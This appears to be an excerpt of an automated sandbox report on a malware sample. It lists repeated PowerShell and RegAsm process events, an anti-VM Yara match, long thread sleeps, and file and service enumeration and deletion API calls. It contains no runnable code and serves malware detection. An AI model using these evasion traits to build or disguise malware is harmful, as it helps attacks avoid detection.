Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 00000006.00000002.2273102577.000001C100222000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3136, type: MEMORYSTR

Delayed program exit found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0040F7E2 Sleep,ExitProcess,

20_2_0040F7E2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_00007FFD345A2AD3 str word ptr [eax]

2_2_00007FFD345A2AD3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

20_2_0041A7D9

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1717	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1472	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3910	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5930	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8061	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1430	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8162	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1389	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3620	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 928	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 5011
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 4502
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: foregroundWindowGot 1740
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1203
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1022

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 6.1 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5356	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2100	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 416	Thread sleep count: 3910 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 416	Thread sleep count: 5930 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2536	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4828	Thread sleep count: 8061 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1128	Thread sleep count: 1430 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 884	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7052	Thread sleep count: 8162 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2364	Thread sleep count: 1389 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1584	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4420	Thread sleep count: 3620 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3660	Thread sleep count: 286 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5492	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6524	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6724	Thread sleep count: 928 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6724	Thread sleep count: 194 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5388	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6656	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5192	Thread sleep count: 132 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5192	Thread sleep time: -66000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5112	Thread sleep count: 5011 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5112	Thread sleep time: -15033000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5112	Thread sleep count: 4502 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5112	Thread sleep time: -13506000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5272	Thread sleep count: 1203 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6552	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5328	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 876	Thread sleep count: 1022 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5232	Thread sleep count: 102 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2220	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	20_2_0040928E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	20_2_0041C322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	20_2_0040C388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	20_2_004096A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	20_2_00408847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00407877 FindFirstFileW,FindNextFileW,	20_2_00407877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0044E8F9 FindFirstFileExA,	20_2_0044E8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	20_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,	20_2_00419B86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	20_2_0040BD72

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

20_2_00407CD2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
